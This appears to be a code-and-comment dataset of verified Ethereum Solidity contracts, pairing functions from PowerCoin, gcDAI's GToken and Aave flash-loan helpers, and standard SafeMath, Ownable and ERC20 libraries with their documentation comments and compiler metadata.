function mintToken(address target, uint256 mintedAmount) onlyOwner public { balanceOf[target] += mintedAmount; totalSupply += mintedAmount; Transfer(0, this, mintedAmount); Transfer(this, target, mintedAmount); }
/// @notice Create `mintedAmount` tokens and send it to `target` /// @param target Address to receive the tokens /// @param mintedAmount the amount of tokens it will receive
NatSpecSingleLine
v0.4.16+commit.d7661dd9
bzzr://b2d3aecad32dd83fda8b488440aeda901d32ff913387b78c4a04439e291eeda2
{ "func_code_index": [ 1614, 1872 ] }
14,730
PowerCoin
PowerCoin.sol
0xfd342bc3604fdb4f42d907421db03bd2085416c2
Solidity
PowerCoin
contract PowerCoin is owned, TokenERC20 { uint256 public sellPrice; uint256 public buyPrice; mapping (address => bool) public frozenAccount; /* This generates a public event on the blockchain that will notify clients */ event FrozenFunds(address target, bool frozen); /* Initializes...
/******************************************/
NatSpecMultiLine
freezeAccount
function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; FrozenFunds(target, freeze); }
/// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens /// @param target Address to be frozen /// @param freeze either to freeze it or not
NatSpecSingleLine
v0.4.16+commit.d7661dd9
bzzr://b2d3aecad32dd83fda8b488440aeda901d32ff913387b78c4a04439e291eeda2
{ "func_code_index": [ 2053, 2214 ] }
14,731
PowerCoin
PowerCoin.sol
0xfd342bc3604fdb4f42d907421db03bd2085416c2
Solidity
PowerCoin
contract PowerCoin is owned, TokenERC20 { uint256 public sellPrice; uint256 public buyPrice; mapping (address => bool) public frozenAccount; /* This generates a public event on the blockchain that will notify clients */ event FrozenFunds(address target, bool frozen); /* Initializes...
/******************************************/
NatSpecMultiLine
setPrices
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public { sellPrice = newSellPrice; buyPrice = newBuyPrice; }
/// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth /// @param newSellPrice Price the users can sell to the contract /// @param newBuyPrice Price users can buy from the contract
NatSpecSingleLine
v0.4.16+commit.d7661dd9
bzzr://b2d3aecad32dd83fda8b488440aeda901d32ff913387b78c4a04439e291eeda2
{ "func_code_index": [ 2457, 2617 ] }
14,732
PowerCoin
PowerCoin.sol
0xfd342bc3604fdb4f42d907421db03bd2085416c2
Solidity
PowerCoin
contract PowerCoin is owned, TokenERC20 { uint256 public sellPrice; uint256 public buyPrice; mapping (address => bool) public frozenAccount; /* This generates a public event on the blockchain that will notify clients */ event FrozenFunds(address target, bool frozen); /* Initializes...
/******************************************/
NatSpecMultiLine
buy
function buy() payable public { uint amount = msg.value / buyPrice; // calculates the amount _transfer(this, msg.sender, amount); // makes the transfers }
/// @notice Buy tokens from contract by sending ether
NatSpecSingleLine
v0.4.16+commit.d7661dd9
bzzr://b2d3aecad32dd83fda8b488440aeda901d32ff913387b78c4a04439e291eeda2
{ "func_code_index": [ 2679, 2888 ] }
14,733
PowerCoin
PowerCoin.sol
0xfd342bc3604fdb4f42d907421db03bd2085416c2
Solidity
PowerCoin
contract PowerCoin is owned, TokenERC20 { uint256 public sellPrice; uint256 public buyPrice; mapping (address => bool) public frozenAccount; /* This generates a public event on the blockchain that will notify clients */ event FrozenFunds(address target, bool frozen); /* Initializes...
/******************************************/
NatSpecMultiLine
sell
function sell(uint256 amount) public { require(address(this).balance >= amount * sellPrice); // checks if the contract has enough ether to buy _transfer(msg.sender, this, amount); // makes the transfers msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It's...
/// @notice Sell `amount` tokens to contract /// @param amount amount of tokens to be sold
NatSpecSingleLine
v0.4.16+commit.d7661dd9
bzzr://b2d3aecad32dd83fda8b488440aeda901d32ff913387b78c4a04439e291eeda2
{ "func_code_index": [ 2992, 3389 ] }
14,734
gcDAI
contracts/modules/AaveFlashLoanAbstraction.sol
0x8c659d745eb24df270a952f68f4b1d6817c3795c
Solidity
AaveFlashLoanAbstraction
library AaveFlashLoanAbstraction { using SafeMath for uint256; uint256 constant FLASH_LOAN_FEE_RATIO = 9e14; // 0.09% function _estimateFlashLoanFee(address /* _token */, uint256 _netAmount) internal pure returns (uint256 _feeAmount) { return _netAmount.mul(FLASH_LOAN_FEE_RATIO).div(1e18); } funct...
_estimateFlashLoanFee
function _estimateFlashLoanFee(address /* _token */, uint256 _netAmount) internal pure returns (uint256 _feeAmount) { return _netAmount.mul(FLASH_LOAN_FEE_RATIO).div(1e18); }
// 0.09%
LineComment
v0.6.12+commit.27d51765
GNU GPLv3
ipfs://c8d57d481ca8eab06bc8ada4b25b292c3168f27650075dc266cc7d2cfe69bf18
{ "func_code_index": [ 128, 311 ] }
14,735
gcDAI
contracts/GToken.sol
0x8c659d745eb24df270a952f68f4b1d6817c3795c
Solidity
GToken
interface GToken is IERC20 { // pure functions function calcDepositSharesFromCost(uint256 _cost, uint256 _totalReserve, uint256 _totalSupply, uint256 _depositFee) external pure returns (uint256 _netShares, uint256 _feeShares); function calcDepositCostFromShares(uint256 _netShares, uint256 _totalReserve, uint256 ...
/** * @dev Complete top-level interface for gTokens, implemented by the * GTokenBase contract. See GTokenBase.sol for further documentation. */
NatSpecMultiLine
calcDepositSharesFromCost
function calcDepositSharesFromCost(uint256 _cost, uint256 _totalReserve, uint256 _totalSupply, uint256 _depositFee) external pure returns (uint256 _netShares, uint256 _feeShares);
// pure functions
LineComment
v0.6.12+commit.27d51765
GNU GPLv3
ipfs://c8d57d481ca8eab06bc8ada4b25b292c3168f27650075dc266cc7d2cfe69bf18
{ "func_code_index": [ 51, 232 ] }
14,736
gcDAI
contracts/GToken.sol
0x8c659d745eb24df270a952f68f4b1d6817c3795c
Solidity
GToken
interface GToken is IERC20 { // pure functions function calcDepositSharesFromCost(uint256 _cost, uint256 _totalReserve, uint256 _totalSupply, uint256 _depositFee) external pure returns (uint256 _netShares, uint256 _feeShares); function calcDepositCostFromShares(uint256 _netShares, uint256 _totalReserve, uint256 ...
/** * @dev Complete top-level interface for gTokens, implemented by the * GTokenBase contract. See GTokenBase.sol for further documentation. */
NatSpecMultiLine
stakesToken
function stakesToken() external view returns (address _stakesToken);
// view functions
LineComment
v0.6.12+commit.27d51765
GNU GPLv3
ipfs://c8d57d481ca8eab06bc8ada4b25b292c3168f27650075dc266cc7d2cfe69bf18
{ "func_code_index": [ 817, 887 ] }
14,737
gcDAI
contracts/GToken.sol
0x8c659d745eb24df270a952f68f4b1d6817c3795c
Solidity
GToken
interface GToken is IERC20 { // pure functions function calcDepositSharesFromCost(uint256 _cost, uint256 _totalReserve, uint256 _totalSupply, uint256 _depositFee) external pure returns (uint256 _netShares, uint256 _feeShares); function calcDepositCostFromShares(uint256 _netShares, uint256 _totalReserve, uint256 ...
/** * @dev Complete top-level interface for gTokens, implemented by the * GTokenBase contract. See GTokenBase.sol for further documentation. */
NatSpecMultiLine
deposit
function deposit(uint256 _cost) external;
// open functions
LineComment
v0.6.12+commit.27d51765
GNU GPLv3
ipfs://c8d57d481ca8eab06bc8ada4b25b292c3168f27650075dc266cc7d2cfe69bf18
{ "func_code_index": [ 1649, 1692 ] }
14,738
gcDAI
contracts/GToken.sol
0x8c659d745eb24df270a952f68f4b1d6817c3795c
Solidity
GToken
interface GToken is IERC20 { // pure functions function calcDepositSharesFromCost(uint256 _cost, uint256 _totalReserve, uint256 _totalSupply, uint256 _depositFee) external pure returns (uint256 _netShares, uint256 _feeShares); function calcDepositCostFromShares(uint256 _netShares, uint256 _totalReserve, uint256 ...
/** * @dev Complete top-level interface for gTokens, implemented by the * GTokenBase contract. See GTokenBase.sol for further documentation. */
NatSpecMultiLine
allocateLiquidityPool
function allocateLiquidityPool(uint256 _stakesAmount, uint256 _sharesAmount) external;
// priviledged functions
LineComment
v0.6.12+commit.27d51765
GNU GPLv3
ipfs://c8d57d481ca8eab06bc8ada4b25b292c3168f27650075dc266cc7d2cfe69bf18
{ "func_code_index": [ 1774, 1862 ] }
14,739
Token
Token.sol
0xa0f5505dc06ebe8ee8cbdc2059eade0b9f35cbc2
Solidity
SafeMath
library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256...
/** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming la...
NatSpecMultiLine
add
function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; }
/** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */
NatSpecMultiLine
v0.5.12+commit.7709ece9
MIT
bzzr://c3e292a1860be8537dacb128fd1d6f95b35d5df23f773581823108bcd5f69a9c
{ "func_code_index": [ 251, 437 ] }
14,740
Token
Token.sol
0xa0f5505dc06ebe8ee8cbdc2059eade0b9f35cbc2
Solidity
SafeMath
library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256...
/** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming la...
NatSpecMultiLine
sub
function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); }
/** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */
NatSpecMultiLine
v0.5.12+commit.7709ece9
MIT
bzzr://c3e292a1860be8537dacb128fd1d6f95b35d5df23f773581823108bcd5f69a9c
{ "func_code_index": [ 707, 848 ] }
14,741
Token
Token.sol
0xa0f5505dc06ebe8ee8cbdc2059eade0b9f35cbc2
Solidity
SafeMath
library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256...
/** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming la...
NatSpecMultiLine
sub
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; }
/** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */
NatSpecMultiLine
v0.5.12+commit.7709ece9
MIT
bzzr://c3e292a1860be8537dacb128fd1d6f95b35d5df23f773581823108bcd5f69a9c
{ "func_code_index": [ 1180, 1377 ] }
14,742
Token
Token.sol
0xa0f5505dc06ebe8ee8cbdc2059eade0b9f35cbc2
Solidity
SafeMath
library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256...
/** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming la...
NatSpecMultiLine
mul
function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; ...
/** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */
NatSpecMultiLine
v0.5.12+commit.7709ece9
MIT
bzzr://c3e292a1860be8537dacb128fd1d6f95b35d5df23f773581823108bcd5f69a9c
{ "func_code_index": [ 1623, 2099 ] }
14,743
Token
Token.sol
0xa0f5505dc06ebe8ee8cbdc2059eade0b9f35cbc2
Solidity
SafeMath
library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256...
/** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming la...
NatSpecMultiLine
div
function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); }
/** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to reve...
NatSpecMultiLine
v0.5.12+commit.7709ece9
MIT
bzzr://c3e292a1860be8537dacb128fd1d6f95b35d5df23f773581823108bcd5f69a9c
{ "func_code_index": [ 2562, 2699 ] }
14,744
Token
Token.sol
0xa0f5505dc06ebe8ee8cbdc2059eade0b9f35cbc2
Solidity
SafeMath
library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256...
/** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming la...
NatSpecMultiLine
div
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; ...
/** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an in...
NatSpecMultiLine
v0.5.12+commit.7709ece9
MIT
bzzr://c3e292a1860be8537dacb128fd1d6f95b35d5df23f773581823108bcd5f69a9c
{ "func_code_index": [ 3224, 3574 ] }
14,745
Token
Token.sol
0xa0f5505dc06ebe8ee8cbdc2059eade0b9f35cbc2
Solidity
SafeMath
library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256...
/** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming la...
NatSpecMultiLine
mod
function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); }
/** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consumi...
NatSpecMultiLine
v0.5.12+commit.7709ece9
MIT
bzzr://c3e292a1860be8537dacb128fd1d6f95b35d5df23f773581823108bcd5f69a9c
{ "func_code_index": [ 4026, 4161 ] }
14,746
Token
Token.sol
0xa0f5505dc06ebe8ee8cbdc2059eade0b9f35cbc2
Solidity
SafeMath
library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256...
/** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming la...
NatSpecMultiLine
mod
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; }
/** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcod...
NatSpecMultiLine
v0.5.12+commit.7709ece9
MIT
bzzr://c3e292a1860be8537dacb128fd1d6f95b35d5df23f773581823108bcd5f69a9c
{ "func_code_index": [ 4675, 4846 ] }
14,747
Token
Token.sol
0xa0f5505dc06ebe8ee8cbdc2059eade0b9f35cbc2
Solidity
Ownable
contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = msg.sender; ...
/** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functi...
NatSpecMultiLine
owner
function owner() public view returns (address) { return _owner; }
/** * @dev Returns the address of the current owner. */
NatSpecMultiLine
v0.5.12+commit.7709ece9
MIT
bzzr://c3e292a1860be8537dacb128fd1d6f95b35d5df23f773581823108bcd5f69a9c
{ "func_code_index": [ 484, 568 ] }
14,748
Token
Token.sol
0xa0f5505dc06ebe8ee8cbdc2059eade0b9f35cbc2
Solidity
Ownable
contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = msg.sender; ...
/** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functi...
NatSpecMultiLine
isOwner
function isOwner() public view returns (bool) { return msg.sender == _owner; }
/** * @dev Returns true if the caller is the current owner. */
NatSpecMultiLine
v0.5.12+commit.7709ece9
MIT
bzzr://c3e292a1860be8537dacb128fd1d6f95b35d5df23f773581823108bcd5f69a9c
{ "func_code_index": [ 850, 947 ] }
14,749
Token
Token.sol
0xa0f5505dc06ebe8ee8cbdc2059eade0b9f35cbc2
Solidity
Ownable
contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = msg.sender; ...
/** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functi...
NatSpecMultiLine
renounceOwnership
function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); }
/** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */
NatSpecMultiLine
v0.5.12+commit.7709ece9
MIT
bzzr://c3e292a1860be8537dacb128fd1d6f95b35d5df23f773581823108bcd5f69a9c
{ "func_code_index": [ 1293, 1438 ] }
14,750
Token
Token.sol
0xa0f5505dc06ebe8ee8cbdc2059eade0b9f35cbc2
Solidity
Ownable
contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = msg.sender; ...
/** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functi...
NatSpecMultiLine
transferOwnership
function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); }
/** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */
NatSpecMultiLine
v0.5.12+commit.7709ece9
MIT
bzzr://c3e292a1860be8537dacb128fd1d6f95b35d5df23f773581823108bcd5f69a9c
{ "func_code_index": [ 1588, 1702 ] }
14,751
Token
Token.sol
0xa0f5505dc06ebe8ee8cbdc2059eade0b9f35cbc2
Solidity
Ownable
contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = msg.sender; ...
/** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functi...
NatSpecMultiLine
_transferOwnership
function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; }
/** * @dev Transfers ownership of the contract to a new account (`newOwner`). */
NatSpecMultiLine
v0.5.12+commit.7709ece9
MIT
bzzr://c3e292a1860be8537dacb128fd1d6f95b35d5df23f773581823108bcd5f69a9c
{ "func_code_index": [ 1803, 2037 ] }
14,752
Token
Token.sol
0xa0f5505dc06ebe8ee8cbdc2059eade0b9f35cbc2
Solidity
IERC20
interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /**...
/** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */
NatSpecMultiLine
totalSupply
function totalSupply() external view returns (uint256);
/** * @dev Returns the amount of tokens in existence. */
NatSpecMultiLine
v0.5.12+commit.7709ece9
MIT
bzzr://c3e292a1860be8537dacb128fd1d6f95b35d5df23f773581823108bcd5f69a9c
{ "func_code_index": [ 94, 154 ] }
14,753
Token
Token.sol
0xa0f5505dc06ebe8ee8cbdc2059eade0b9f35cbc2
Solidity
IERC20
interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /**...
/** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */
NatSpecMultiLine
balanceOf
function balanceOf(address account) external view returns (uint256);
/** * @dev Returns the amount of tokens owned by `account`. */
NatSpecMultiLine
v0.5.12+commit.7709ece9
MIT
bzzr://c3e292a1860be8537dacb128fd1d6f95b35d5df23f773581823108bcd5f69a9c
{ "func_code_index": [ 237, 310 ] }
14,754
Token
Token.sol
0xa0f5505dc06ebe8ee8cbdc2059eade0b9f35cbc2
Solidity
IERC20
interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /**...
/** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */
NatSpecMultiLine
transfer
function transfer(address recipient, uint256 amount) external returns (bool);
/** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */
NatSpecMultiLine
v0.5.12+commit.7709ece9
MIT
bzzr://c3e292a1860be8537dacb128fd1d6f95b35d5df23f773581823108bcd5f69a9c
{ "func_code_index": [ 534, 616 ] }
14,755
Token
Token.sol
0xa0f5505dc06ebe8ee8cbdc2059eade0b9f35cbc2
Solidity
IERC20
interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /**...
/** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */
NatSpecMultiLine
allowance
function allowance(address owner, address spender) external view returns (uint256);
/** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */
NatSpecMultiLine
v0.5.12+commit.7709ece9
MIT
bzzr://c3e292a1860be8537dacb128fd1d6f95b35d5df23f773581823108bcd5f69a9c
{ "func_code_index": [ 895, 983 ] }
14,756
Token
Token.sol
0xa0f5505dc06ebe8ee8cbdc2059eade0b9f35cbc2
Solidity
IERC20
interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /**...
/** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */
NatSpecMultiLine
approve
function approve(address spender, uint256 amount) external returns (bool);
/** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate ...
NatSpecMultiLine
v0.5.12+commit.7709ece9
MIT
bzzr://c3e292a1860be8537dacb128fd1d6f95b35d5df23f773581823108bcd5f69a9c
{ "func_code_index": [ 1647, 1726 ] }
14,757
Token
Token.sol
0xa0f5505dc06ebe8ee8cbdc2059eade0b9f35cbc2
Solidity
IERC20
interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /**...
/** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */
NatSpecMultiLine
transferFrom
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */
NatSpecMultiLine
v0.5.12+commit.7709ece9
MIT
bzzr://c3e292a1860be8537dacb128fd1d6f95b35d5df23f773581823108bcd5f69a9c
{ "func_code_index": [ 2039, 2141 ] }
14,758
Token
Token.sol
0xa0f5505dc06ebe8ee8cbdc2059eade0b9f35cbc2
Solidity
ERC20
contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See {IERC20-totalSupply}. */ function totalSupply() pub...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20Mintable}. * * TIP: For a detailed writeup see our guide *...
NatSpecMultiLine
totalSupply
function totalSupply() public view returns (uint256) { return _totalSupply; }
/** * @dev See {IERC20-totalSupply}. */
NatSpecMultiLine
v0.5.12+commit.7709ece9
MIT
bzzr://c3e292a1860be8537dacb128fd1d6f95b35d5df23f773581823108bcd5f69a9c
{ "func_code_index": [ 290, 386 ] }
14,759
Token
Token.sol
0xa0f5505dc06ebe8ee8cbdc2059eade0b9f35cbc2
Solidity
ERC20
contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See {IERC20-totalSupply}. */ function totalSupply() pub...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20Mintable}. * * TIP: For a detailed writeup see our guide *...
NatSpecMultiLine
balanceOf
function balanceOf(address account) public view returns (uint256) { return _balances[account]; }
/** * @dev See {IERC20-balanceOf}. */
NatSpecMultiLine
v0.5.12+commit.7709ece9
MIT
bzzr://c3e292a1860be8537dacb128fd1d6f95b35d5df23f773581823108bcd5f69a9c
{ "func_code_index": [ 444, 559 ] }
14,760
Token
Token.sol
0xa0f5505dc06ebe8ee8cbdc2059eade0b9f35cbc2
Solidity
ERC20
contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See {IERC20-totalSupply}. */ function totalSupply() pub...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20Mintable}. * * TIP: For a detailed writeup see our guide *...
NatSpecMultiLine
transfer
function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; }
/** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */
NatSpecMultiLine
v0.5.12+commit.7709ece9
MIT
bzzr://c3e292a1860be8537dacb128fd1d6f95b35d5df23f773581823108bcd5f69a9c
{ "func_code_index": [ 767, 928 ] }
14,761
Token
Token.sol
0xa0f5505dc06ebe8ee8cbdc2059eade0b9f35cbc2
Solidity
ERC20
contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See {IERC20-totalSupply}. */ function totalSupply() pub...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20Mintable}. * * TIP: For a detailed writeup see our guide *...
NatSpecMultiLine
allowance
function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; }
/** * @dev See {IERC20-allowance}. */
NatSpecMultiLine
v0.5.12+commit.7709ece9
MIT
bzzr://c3e292a1860be8537dacb128fd1d6f95b35d5df23f773581823108bcd5f69a9c
{ "func_code_index": [ 986, 1125 ] }
14,762
Token
Token.sol
0xa0f5505dc06ebe8ee8cbdc2059eade0b9f35cbc2
Solidity
ERC20
